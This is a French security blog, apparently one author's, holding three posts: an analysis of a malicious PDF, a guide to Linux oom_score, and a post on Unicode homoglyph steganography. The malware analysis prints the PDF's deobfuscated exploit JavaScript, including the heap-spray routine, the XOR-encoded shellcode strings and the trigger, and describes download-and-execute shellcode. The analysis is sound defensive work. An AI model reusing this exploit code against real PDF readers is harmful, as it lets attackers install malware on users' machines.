    Tout d'abord le propriétaire du site dédié à Linux qui servait bien malgré lui le PDF piégé. J'ai eu beau fouiller mon cache Opera pour retrouver le site en question, je n'ai pas retrouvé son adresse. Il est évident que si le site était sécurisé contre des attaques connues comme les XSS et les injections SQL, jamais il n'aurait servi de support à cette attaque.
    Ensuite il y a le lecteur PDF (un vieux Foxit Reader) qui n'est pas à jour sur la machine. J'en étais conscient et j'avais d'ailleurs installé un Sumatra PDF mais, n'étant pas administrateur du poste, l'association de l'extension .pdf avec Sumatra n'était pas conservée, j'étais obligé d'appeler directement SumatraPDF à chaque fois que je voulais lire un PDF.
    Ensuite il y a le problème de l'antivirus : pas d'antivirus ! Je pensais qu'un Kaspersky était présent sur la machine mais en regardant la liste des processus, force est de constater que non.
    Pour ces deux défaillances, c'est bien le laxisme (ou la méconnaissance) en matière de sécurité des administrateurs système qui est l'origine du problème.

    Ce serait arrivé sur ma machine Windows personnelle, ça ne serait pas arrivé pour différentes raisons.

    D'abord mon intérêt pour la sécurité informatique. Je me tiens au courant des dernières vulnérabilités et exploits qui existent, surtout pour des logiciels communs comme un lecteur de fichiers PDF.
    Ça me pousse à installer systématiquement les dernières versions logiciels. Avec le récent Reader X d'Acrobat qui ajoute une fonction de sandbox il est à fort parier que l'exploit n'aurait pas fonctionné.
    Ensuite l'antivirus Avast est installé et à jour. Il met lui aussi par défaut certaines applications dans une sandbox et aurait pu détecter le caractère malicieux du PDF avec sa base de signatures.
    Imaginons que le PDF exploite une vulnérabilité 0day et soit inconnu des antivirus... il faut encore que l'exécutable droppé passe à travers la vigilance de l'HIPS ThreatFire...

    Ces solutions pourtant simples à mettre en place (avec des logiciels gratuits qui plus est !) auraient permis d'éviter cet incident.

    Analyse du fichier PDF

    Le fichier PDF récupéré se nommait manual.pdf et se résumait à première vue à une page blanche. Quand on le passe à AVG sous Linux, il est détecté comme Exploit.PDF-JS. ClamAV lui ne détecte aucun danger (je commence à avoir l'habitude).

    J'ai décidé de pousser l'analyse en me servant d'un tout nouvel outil Python qui se nommé peepdf qui s'utilise interactivement et est très simple d'utilisation.

    Au lancement on a le résumé suivant :
    File: malware_manual.pdf
    MD5: 5ec11e1a1e7076457baf0baa35b9f816
    Size: 29948 bytes
    Version: 1.6
    Binary: True
    Linearized: False
    Encrypted: False
    Updates: 0
    Objects: 19
    Streams: 9
    Comments: 0
    Errors: 1
    
    Version 0:
            Catalog: 23
            Info: 22
            Objects (19): [1, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]
            Streams (9): [8, 9, 10, 11, 12, 14, 15, 16, 17]
                    Encoded (0): []
            Objects with JS code (1): [11]
            Suspicious elements:
                    /AcroForm: [23]
                    /EmbeddedFile: [8, 9, 10, 11, 12, 14, 15, 16, 17]
    La commande metadata renvoie des informations qui semblent aléatoires :
    Info Object in version 0:
    
    << /CreationDate D:20100829161936
    /Author SegosqYvyxoigm PazubIhizo
    /Subject KcuhukecyiWodna NixxohyjanucohiDuqe
    /Creator NeducuVpel JlAfonypad
    /Title GipYok CuvaaBikoimulyw >>
    Les objets qui nous intéressent dans ce PDF sont les Streams indexés 8, 9, 10, 11, 12, 14, 15, 16 et 17.
    Pour les afficher il suffit d'utiliser la commande "stream" suivi de l'index de l'objet souhaité.

    Seul quelques streams s'avèrent intéressants (dans l'ordre) pour notre analyse.

    Le stream 14 qui définie une variable baptisée RivoLwotab dans un format XML :
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><XuwaHsaqyp><RivoLwotab>eval2011tring.fromCharCode</RivoLwotab></XuwaHsaqyp></xfa:data></xfa:datasets>
    Le stream 10 qui définie quelques variables Javascript :
    <subform layout="tb" locale="en_US" name="XuwaHsaqyp">
      <pageSet>
        <pageArea id="BuvAcid" name="BuvAcid">
          <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
          <medium long="792pt" short="612pt" stock="default"/>
        </pageArea>
      </pageSet>
      <subform h="756pt" w="576pt" name="NacazaLvonocowjap">
      <field h="65mm" name="RivoLwotab" w="85mm" x="53.6501mm" y="88.6499mm">
        <event activity="initialize" name="DygoRacepasicalukuh">
          <script contentType="application/x-javascript">
            Tokabjepivilipytuc='rawV';DyqUrarybynogun='S';
            RukIzy=2011;PofucevyWimbes='replace';KfIpyrsite='substr';
    et enfin, le plus important, le stream 11 (raccourci pour des raisons de lisibilité) qui est du code Javascript brut :
    JuholAlypivykunytytd = RivoLwotab[Tokabjepivilipytuc+'alue'][PofucevyWimbes](RukIzy,DyqUrarybynogun);
    VekeoFewy=JuholAlypivykunytytd[KfIpyrsite](0,4);
    eval('GovbEvynoj=this.'+VekeoFewy);
    DadEjybuf=GovbEvynoj(JuholAlypivykunytytd.substr(4,19));
    SitoGexo=DadEjybuf(4*29.5,4*24.25,4*28.5,4*8,4*23.75,4*17.75,4*17,...,4*22.25,4*20.75,4*10,4*10.25,4*14.75);
    GovbEvynoj(SitoGexo);
    Il suffit de prendre les données des streams 14 et 10 et de faire les remplacements nécessaires dans le stream 11.
    On obtient finalement (en plusieurs étapes) :
    JuholAlypivykunytytd = RivoLwotab['rawV'+'alue']['replace'](2011,'S');
    JuholAlypivykunytytd = "eval2011tring.fromCharCode"['replace'](2011,'S');
    JuholAlypivykunytytd = "evalString.fromCharCode";
    
    VekeoFewy = JuholAlypivykunytytd['substr'](0,4);
    VekeoFewy = "evalString.fromCharCode"['substr'](0,4);
    VekeoFewy = "eval";
    
    eval('GovbEvynoj=this.'+VekeoFewy);
    GovbEvynoj = this.eval
    
    DadEjybuf=GovbEvynoj(JuholAlypivykunytytd.substr(4,19));
    DadEjybuf = this.eval("evalString.fromCharCode".substr(4,19));
    DadEjybuf = String.fromCharCode;
    Les deux dernières lignes du stream 11 correspondant par conséquent à un décodage d'un buffer par String.fromCharCode() puis son exécution par this.eval().

    Afin d'analyser le buffer encodé sous la forme d'une liste de multiplications entre un entier et un nombre à virgule, je l'ai isolé dans un fichier texte et j'ai créé le script Python suivant pour le décoder :
    import sys
    fd = open("arg.txt")
    buff = fd.read()
    fd.close()
    
    for ope in buff.split(","):
      x, y = ope.split("*")
      sys.stdout.write( chr( int( int(x) * float(y) ) ) )
    Ce qui nous donne le résultat suivant :
    var _GD = "7414543e6471e52c5e1356366b50e27390deb27d0416e62e5f16b779717779701e343431616665666233363964336239210cb27d5016046b313d37337177797079757570f1f6f5f689258f71653362b20711bbc0b4088d10379503a09ad4c2f2d0d1cbce9e1cfaf4f1a0fb2b1bfcf0aaa02f4629e8b57a98f69b7ff7f2f6f8f1f8f4f4f1a7a6a59df5a1a5aaa2f6a2c2cfc8a1a4cfd0859bcffecc2eedab474ae3a7a7a2a21d8af5f1a05a7a7464f9c2ef49eea1f74d9bf7a2aa5b702665deb5c1f3fe51589d840b42b64db7f7a0f1fa48f7a1a4a75a27a4c854cc29cca4164aa3a7a7a2a21dcaf5f1a05a7a979131ce2bf6912ff5a97ca5b621d6881abdaba2ab9658933259ca948da2898a366ffcab6744512558fe4bbdc821e6b028b7de7b22e383be9336967e9d848121b29c7afea5dea04e2cefef7cf88aa54b4091e2299f2ca64cc30ac7350d0c216a83a73065ada7664f539e8bd38adf452bf981aa49cd2cabe979afeaf41a2ba121f64878ee84bac066afa51f185c555bc8d7d1db988488c6cc938c97919ed2c48494dadfc9c389ced1d38b879fd295c59df2f4c0e7eeccc4e8b0b4cbc8d7d0989ff7";
    var _ZZ = "7414543ec405e52c5e135636f212e273a32ab27d04a6e02e4c47b779717779701e34343161666566623336396433623942bdb27d5016046b313d37337177797079757570f1f6f5f689258f71653362b20711bbc0b4088d10379503ab9ad4c2f2d0d1cbce9e17f1fffaabf02010f7fba1ab244d22e3be7193fd9074fcf9fdf3faf3fffffaacadae96feaaaea1a9fda9c9c4c3aaafc4db8e90c4f5c725e6a04c41e8acaca9a91681fefaab51717f6ff2c9e442e5aafc4690fca9a1507b2d6ed5becaf8f55a53968f0049bd46bcfcabfaf143fcaaafac512cafc35fc722c7af1d41a8acaca9a916c1fefaab51719c9a3ac520fd9a24fea277aebd2add8311b6a0a9a09d53983952c19f86a982813d64f7a06c4f5a2e53f540b6c32aedbb23bcd57029e888b5983d9d75968f8a2ab99771f5aed5ab4527e4e477f381ae404b9ae9229427ad47c801cc3e06072a6188ac3b6ea6ac6d44589580d881d44e20f28aa142c627a0e272a4e1ff1120aa2afd4373e58fb1cb6da4ae1413575e50c3dcdad0938f83cdc798879c9a95d9cf8f9fd1d4c2c882c5dad8808c94d99ece96f9ffcbece5c7cfe3bbbfc0c3dcdb9394fc";
    var _IB = "8441afefb369d3b9352746dd19730681";
    
    _II = app;
    _R = new Array();
    function _QJ() {
        var _H = _II.viewerVersion.toString();
        _H = _H.replace('.', '');
        while (_H.length < 4) {
            _H += '0';
        }
        return parseInt(_H, 10);
    }
    function _F(_I, _M) {
        while (_I.length * 2 < _M) {
            _I += _I;
        }
        return _I.substring(0, _M / 2);
    }
    function _FA(_MM) {
        _MM = unescape(_MM);
        roteDak = _MM.length * 2;
        dakRote = unescape('%u9090');
        spray = _F(dakRote, 0x2000 - roteDak);
        loxWhee = _MM + spray;
        loxWhee = _F(loxWhee, 524098);
        for (i = 0; i < 400; i++) {
            _R[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
        }
    }
    function _SR(_MM, len) {
        while (_MM.length < len) {
            _MM += _MM;
        }
        return _MM.substring(0, len);
    }
    function _U(_MM) {
        ret = '';
        for (i = 0; i < _MM.length; i += 2) {
            b = _MM.substr(i, 2);
            c = parseInt(b, 16);
            ret += String.fromCharCode(c);
        }
        return ret;
    }
    function decode(_MM, _N) {
        _UE = '';
        for (_C = 0; _C < _MM.length; _C++) {
            _M = _N.length;
            _HE = _MM.charCodeAt(_C);
            _RQ = _N.charCodeAt(_C % _M);
            _UE += String.fromCharCode(_HE ^ _RQ);
        }
        return _UE;
    }
    function _VX(_C) {
        _FD = _C.toString(16);
        _NJ = _FD.length;
        _UE = (_NJ % 2) ? '0' + _FD : _FD;
        return _UE;
    }
    function _LX(_MM) {
        _UE = '';
        for (_C = 0; _C < _MM.length; _C += 2) {
            _UE += '%u';
            _UE += _VX(_MM.charCodeAt(_C + 1));
            _UE += _VX(_MM.charCodeAt(_C));
        }
        return _UE;
    }
    function _YS() {
        _EO = _QJ();
        if (_EO < 9000) {
            _RS = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
            _XI = _GD;
            _CP = _U(_XI);
        } else {
            _RS = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
            _XI = _ZZ;
            _CP = _U(_XI);
        }
        _A = 'SUkqADggAABB';
        _MF = _SR('QUFB', 10984);
        _J = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
        _L = _A + _MF + _J + _RS;
        _D = decode(_CP, _IB);
        if (_D.length % 2) {
            _D += unescape('%00');
        }
        _X = _LX(_D);
        _FA(_X);
        RivoLwotab.rawValue = _L;
    }
    _YS();
    Ce script défini quelques chaines de caractères (bien entendu offusquée) et différentes fonctions qui sont finalement appelés à travers une fonction centrale (_YS).

    La fonction _QJ() utilise l'objet "app" de l'application et son attribut viewerVersion pour déterminer le numéro de version du lecteur PDF. A ce numéro de version est retiré le caractère point et remplis par des 0 pour obtenir 4 caractères. Ainsi si on dispose de Adobe Reader 9.1, la fonction retournera la valeur 9100.

    Je ne sais pas quel numéro de version renvoie le Foxit par Javascript mais celui installé sur le poste était un 3.1.1.0901. Selon la version obtenue, le javascript fait le choix entre deux couples de chaines de caractères qui seront utilisées plus tard.

    Un premier décodage est effectue par la fonction _U() sur les chaines _GD ou _ZZ. La fonction _U() n'est rien de plus que l'équivalent de la méthode str.decode("hex_codec") en Python, c'est à dire partir d'une représentation hexadécimale pour obtenir une version brut d'une chaine.

    On a ensuite l'instruction _SR('QUFB', 10984). La fonction _SR() permet de répéter la chaine de caractères en premier argument autant de fois que nécessaire pour obtenir une chaine de la longueur spécifiée dans le second argument.
    "QUFB" correspond en réalité à la chaine "AAA" encodée en base64.
    L'objectif de cette multiplication et vraisemblablement d'utiliser un heap-spraying pour augmenter les chances d'exploitation.

    La fonction decode() est la plus intéressante. Comme son nom l'indique, elle prend en entrée des chaines de caractères incompréhensibles pour les transformer en une charge utile.
    C'est en réalité le cœur du shellcode qu'il convient d'analyser.

    En Python il est assez facile de la réécrire pour extraire le shellcode :
    GD = "7414543e6471e52c5e....b4cbc8d7d0989ff7"
    ZZ = "7414543ec405e52c5e....bfc0c3dcdb9394fc"
    IB = "8441afefb369d3b9352746dd19730681"
    def decode(MM, N):
        UE = ""
        for i in range(len(MM)):
            HE = ord( MM[i] )
            RQ = ord( N[i % len(N)] )
            UE += chr( HE ^ RQ)
        return UE
    
    shellcode = decode(GD.decode("hex_codec"), IB)
    La fonction _LX() transforme cette charge brute en une version comprise par le langage Javascript : une représentation d'une chaine unicode où chaque octet est transformé sous la forme %uXXXX.

    La fonction _FA() complète le coeur du shellcode pour ajouter un NOP slide.
    La dernière instruction de la fonction _YS() intègre ces données malicieuses dans la balise RivoLwotab vue dans le stream 14, ce qui déclenche la vulnérabilité et son exploitation.

    Analyse du shellcode

    Comme on peut s'y attendre, le shellcode est crypté : aucune chaine de caractère n'est présente à l'intérieur.
    Une analyse par HT Editor en mode assembleur révèle par contre quelques instructions intéressantes :

    Instruction de décryptage du shellcode

    La boucle lodsb/xor/stosb à l'offset 59 met en évidence l'utilisation d'un cryptage XOR avec la valeur 0x93.
    Le shellcode décodé est plus parlant. On trouve à la fin une URL permettant vraisemblablement de récupérer un exécutable.

    Decoded shellcode hexa dump

    On y voit aussi la mise en place de la chaine "urlmon" sur la pile (offsets 8f et 94) et la valeur hexadécimale ec0e4e8e qui sert de hash pour retrouver la fonction LoadLibrary(). Voir ce document PDF pour ce type de technique.

    Shellcode ASM download et execute
    Les fonctions ensuite appelées, retrouvées par leur hash, sont URLDownloadToCacheFile, CreateProcessA et TerminateThread.
    Par une recherche sur Google, j'ai trouvé un article de Symantec traitant d'une exploitation quasi-similaire.

    La vulnérabilité exploitée se situerait alors dans la LibTIFF utilisée par différents lecteurs PDFs, même si je ne saurais le prouver.
    Concernant l'exécutable qui doit être téléchargé par le shellcode, il n'était malheureusement plus disponible au moment de mon analyse.

    Classé dans : Non classé - Mots clés : malware

    oom_score : Afficher la "kill" liste de votre système Linux

    Rédigé par devloop - -

    Bien que les plantages soient peu fréquents sous Linux, ils existent comme sur tout autre système d'exploitation.

    Toutefois on a plus souvent affaire à une montée en charge du système qu'à un Kernel Panic (l'équivalent des BSOD Windows).
    Au moment où le problème survient, il est souvent trop tard pour pouvoir agir sur le système : un processus "fou" a engloutit toute la RAM et seul le bruit du disque dur nous indique qu'il s'attaque à la swap.

    Pour prévenir ce genre de problème, il existe des "soupapes de sécurité" dont le rôle et de terminer les processus à l'origine de ces problèmes.
    L'environement graphique KDE inclut un outil baptisé kwin_killer_helper pour cette tache. Malheureusement il s'avère très peu efficace et d'aucune façon configurable.

    Au niveau du kernel Linux lui-même on trouve un code baptisé oom_kill (oom = Out of memory) qui se charge effectivement de terminer un ou des processus... à condition d'attendre suffisemment longtemps.
    En effet, le code de oom_kill se montre peu efficace pour déterminer quel est le coupable et va souvent tuer le processus voisin qui n'avait rien demandé.
    A titre d'exemple il va finir par fermer KDE (et donc la totalité des applications graphiques) alors qu'il aurait pu suffir de terminer le processus qui gère le plugin Flash dans le navigateur.
    L'agorithme utilisé pour la détection de mauvais processus a toutefois était corrigé avec le noyau 2.3.36.

    Quand un système plante à répétition et que oom_kill fait des aparitions fréquentes dans les logs, la seul vrai solution consiste à rajouter de la RAM sur le PC.

    L'avantage de oom_kill (en dehors du fait qu'il agit au niveau du kernel) est qu'il est configurable : chaque processus dans /proc/[pid] a des fichiers oom_adj et oom_score qui permettent de savoir si un processus est dans le colimateur du kernel ou de l'y placer volontairement.

    La page de manuel de proc(5) nous informe de différents points intéressants :
    • oom_adj contient une valeur numérique située entre -17 et 15. Plus la valeur est grande (et positive) plus le processus a des chances d'être candidat à un "suicide" décidé par le kernel.
    • On peut jouer sur cette valeur, par exemple en faisant un echo -5 > /proc/[pid]/oom_adj
    • oom_score contient une valeur numérique bien plus grande qui est calculée à partir de différents éléments comme l'utilisation CPU du processus, sa priorité, s'il tourne avec des privilèges etc. Le résultat est ensuite décalée à l'aide de la valeur oom_adj (bit shift). Cette opération est définie par la fonction badness
    • la valeur -17 dans oom_adj est particulière et permet de marquer le processus comme indestructible
    • Tout ce mécanisme peut être activé ou désactivé par /proc/sys/vm/panic_on_oom. Si ce fichier contient "1" alors le système fait un kernel panic en cas de débordement de mémoire. S'il est à 0, oom-killer est appelé à la rescousse.
    Pour afficher la liste des processus par ordre croissant de risque de se faire tuer, j'ai créé un script python : oom_score.py

    Il donne un résultat de ce style :
    oom_score pid   process name                   oom_adj                              
            0  3593 /sbin/auditd -s disable            -17                              
            0   665 /sbin/udevd --daemon               -17                              
           13  2610 /sbin/acpid                          0                              
           15  3622 /usr/sbin/avahi-dnsconfd -D          0
    ...
        34560  5187 /usr/bin/krunner                     0
        83495  5108 kdeinit4: kdeinit4 Running...        0
        90882     1 init [5]                             0
       103294  5614 /bin/sh /usr/bin/firefox             0
    Dans cet exemple on peut voir que le navigateur Firefox sera le premier à éjecter en cas de manque de mémoire sur le système.

    Classé dans : Non classé - Mots clés : linux

    Stéganographie et Unicode (UTF-8)

    Rédigé par devloop - -

    Mise en bouche

    Jetez un oeil à ce texte, extrait d'une page Wikipedia :

    The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

    Et maintenant jetez un autre oeil au texte suivant :

    Thе frequеncy of lettеrѕ in tеxt Һas oftеn beеn studіed for uѕe in сryptogrарhу, and freqυеncy analуѕis in pаrticular. Νо eхасt lettеr frequеncy dіstribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

    Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret.
    Jeter un coup d'oeil au code HTML de cette page vous donnera certainement un indice, pourtant j'aurais très bien pu vous montrer deux textes bruts (plain text) et vous n'aurez pas forcément remarqué plus de particularités.

    L'unicode : qu'est-ce que c'est et pourquoi on nous emmerde avec

    L'unicode est une norme de codage des caractères destinée à être utilisée massivement pour rassembler et remplacer les normes existantes de différents pays.
    On pourrait représenter l'unicode comme une énorme table de corresponde entre les caractères et leurs valeurs informatique comme on peut en trouver pour l'ASCII.
    Pendant longtemps, chacun y allait de sa norme de codage des caractères : ASCII et ISO 8859-1 pour les occidentaux, le Big5 pour les chinois, le KOI8-U pour les russes, le Shift-JIS ou encore le ISO 2022 pour les japonais.
    On peut imaginer que cette diversité de normes n'arrange pas les développeurs qui souhaitent rendre leurs logiciels accessibles au plus de personnes possibles, quelque soit leur langue.

    Unicode se "décline" en plusieurs formats : UTF-8, UTF-16 et UTF-32.
    Il y a aussi l'UTF-7 utilisé par des protocoles d'envoi de courrier et on parle de UTF-5 ou d'UTF-6, chacun ayant pour spécificité d'être compatible avec "alphabet" prédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.
    Le nombre situé derrière les caractères UTF correspond au nombre de bits minimum nécessaire pour l'encodage d'un caractère.

    Le format dont cet article parlera sera l'UTF-8 qui est principalement utilisé par nous autre européens ou américains.
    Ce format là a en effet le grand avantage d'être rétro-compatible avec l'ASCII, c'est à dire que la plupart des caractères que l'on utilise sont encodés sur un octet, exactement comme ils l'étaient auparavant.
    Ce "miracle" tient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.
    Ainsi notre petit "a" sera codé 0x61 en hexa comme c'était le cas en ASCII mais le "à" avec accent tiendra sur deux caractères et se codera 0xC3A0.
    La page Wikipedia sur l'UTF-8 montre quels bits sont utilisés sur chaque octet.

    L'UTF-8 est donc, comme d'autres formats d'unicode, extensible. Comme dit sur cette page, on pourrait qualifier le format UTF-8 de raciste : quand nos caractères sont encodés sur un ou deux octets, les thaïlandais ou les koréens ont droit à 3 octets par caractère !
    Pas de quoi les motiver à utiliser UTF-8, heureusement l'UTF-16 et l'UTF-32 mettent tout le monde à un niveau d'égalité (toutefois l'UTF-32 prend comme son nom l'indique 4 octets par caractère)

    UTF-8 : représentation, encodage et décodage en Python...

    Quand on veut nommer un caractère en unicode, on utilise généralement la forme "U+XXXX""XXXX" est un nombre hexadécimal dont la taille peut varier.
    Pour "fouiller" dans l'unicode, il y a trois sites quasi-indispensables :
    decodeunicode.org : une mine d'or à l'interface soignée.
    FileFormat.Info : très pratique, le sites offrent aussi des ressources en dehors d'unicode
    Unicode.org : le site officiel avec les tables de caratères au format PDF.
    Unimap (unipad.org) : assez simple mais efficace.

    Si vous programmez, vous vous êtes peut-être déjà arraché les cheveux devant des problèmes de mauvais encodages. Mon expérience m'a montré que le mieux est encore d'aller à la source et de corriger directement le mauvais caractère (par exemple dans une page html) au lieu de tenter de le convertir/corriger.
    Je vous donne tout de même quelques commandes pratiques en Python pour jouer avec les caractères unicode.

    Définissons un caractère s dont la valeur est "é" et observons son type :
    >>> s='é'
    >>> type(s), repr(s)
    (<type 'str'>, "'\\xc3\\xa9'")

    s est un caractère "brut" : c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.
    Transformons ce caratère au type unicode :
    >>> u=unicode(s,"UTF-8")
    >>> type(u), repr(u)
    (<type 'unicode'>, "u'\\xe9'")

    Le caractère unicode auquel on a à faire est donc le U+00E9.
    Renseignons nous sur ce caractère :
    >>> import unicodedata
    >>> unicodedata.name(u)
    'LATIN SMALL LETTER E WITH ACUTE'
    >>> unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
    u'\xe9'

    Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de "virtuel". On est obligé de le mettre en "dur" (l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.
    >>> u.encode("UTF-8")
    '\xc3\xa9'

    D'autres commandes pratiques :
    >>> ord(u)
    233
    >>> unichr(233)
    u'\xe9'
    >>> u.encode('ascii', 'xmlcharrefreplace')
    'é'

    UTF-8 et stéganographie

    L'idée d'utiliser l'unicode pour dissimuler des données m'est venue en me demandant s'il y avait pas plusieurs façons d'encoder le même caractère. Après tout, chaque format (ASCII, UTF-8, UTF-16...) offre différents encodages pour un même caractère alors pourquoi pas le même caractère dans un même format ? Avec deux encodages possibles on peut donc glisser un bit (valeur 0 pour un encodage, valeur 1 pour le second).
    Mes recherches sur Internet m'ont montré que non seulement je n'étais pas le seul à y avoir pensé mais en plus certains l'avaient déjà implémenté. Je n'invente donc rien mais je vous fournis les techniques utilisées.

    La première technique est proposée par MockingEye et son implémentation unisteg.py.
    Elle se base sur les diacritiques. Typiquement ce sont les accents et cédilles qui peuvent être attachés à un caractère.

    Si vous vous rendez sur le bloc des diacritiques sur decodeunicode.org, vous verrez tout de suite de quoi je veux parler.
    Unicode permet donc d'encoder de deux façons différentes nos lettres à accent. Soit sous leur forme fixe (le "é") soit sous une forme combinée (la lettre "e" combinée avec le diacritique de l'accent aigue).
    Le passage de la forme composée à la forme décomposée (et vice-versa) peut se faire par la fonction normalize de la librairie unicodedata en python :
    >>> unicodedata.normalize("NFD",u)
    u'e\u0301'
    >>> unicodedata.normalize("NFC",u'e\u0301')
    u'\xe9'
    >>> unicodedata.normalize("NFD",u).encode("UTF-8")
    'e\xcc\x81'

    On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :
    e combining diacritical

    La seconde méthode est proposée par Antonio Alcorn. Elle est implémentée en PHP mais le code source n'est pas disponible. Toutefois en analysant le résultat on se rend compte que la technique se base sur l'utilisation de caractères différents mais visuellement très proche.
    Par exemple, notre "e" est très proche du petit IE cyrillique.
    Les caractères cyrilliques sont plus bruts que nos caractères et sont généralement représentés sans serif (voir empattement). En fonction de la police utilisée pour afficher les caractères, on ne verra donc pas la différence. On se servira pour ce faire d'une police sans-serif comme Arial.
    Dans le second texte au début de cet article, vous avez peut-être remarqué que le "h" de "has" était plus large. C'est tout simplement parce qu'il s'agit du caractère cyrillique SHHA (U+04BA).

    Ayant créé moi même mes outils de stéganographie UTF-8 (voir çi-dessous), la recherche des caractères similaires m'a pris un bon moment. J'ai rassemblé ça dans ce fichier.
    Les caractères où la différence n'est pas visible (avec la bonne police) sont placés directement. Ceux où l'on peut se laisser prendre sont entre parenthèses avec le signe + accolé. Ceux entre parenthèses ressemblent d'assez loin.

    utf8hide et utf8reveal

    utf8hide.py permet comme son nom l'indique de cacher des données dans un texte.
    Il demande deux arguments : le fichier dont il faut cacher le contenu et un fichier texte au format ISO-8859-1 au ASCII. Un troisème argument ("html") peut être passé si on souhaite ensuite injecter le résultat dans une page web.
    J'ai repris l'idée de l'implémentation PHP qui propose d'utiliser seulement 5 bits pour coder un caractère à cacher en la poussant plus loin et sans les limitations.
    Le programme fait une analyse du fichier à dissimuler et détermine le plus petit nombre de bits nécessaire pour coder un octet. Si le message secret est court, il défini un charset (alphabet) lui permettant ainsi de "comprimer" un octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.

    Le résultat obtenu est placé dans le fichier out.txt. L'affichage donne le nombre de bits pour un octet (nbit), le charset utilisé et la taille du fichier secret. Il faut conserver ces paramêtres pour l'opération inverse.

    Un peu à l'instar de ThumbStego qui nécessitait une image et sa signature, utf8reveal.py a besoin du texte ascii/iso8859 qui a servi à dissimuler le fichier et la version UTF-8 dans laquelle sont cachées les données.
    On lui passe aussi en argument les variables vues plus tôt et le programme recréé le fichier secret dans "secret.xxx".

    Les deux programmes affichent les bits à l'écran (0 ou 1) ce qui peut-être ennuyeux pour les gros fichiers... mais une telle utilisation est à éviter.
    En effet, le programme a beau compresser comme il peut les données en entrées et utiliser la méthode des diacritiques ainsi que celle des ressemblances entre caractères, tous les caractères ne sont malheureusement pas exploitables. Le programme passe alors aux caractères suivant jusqu'à tomber sur un caractère exploitable. Le ratio est donc bien plus faible que 1/8ème mais c'est suffisant pour y passer quelques mots.

    Arghhh

    J'ai eu la peur de ma vie (c'est quelque peu exagéré) en développant le code. En voulant recopier mes scripts vers un répertoire de sauvegarde, j'ai bêtement tapé "rm -r" au lieu de "cp", supprimant ainsi les codes et le répertoire de sauvegarde.
    A défaut de faire n'importe quoi, je me suis félicité d'avoir quelques connaissances en inforensique, ce qui m'a permis d'extraire le code de la partition. Pourtant comme le code fait plus de 4096 octets, il était sur deux blocs mémoire et sur du ext3... merci à grep, dd et hexdump.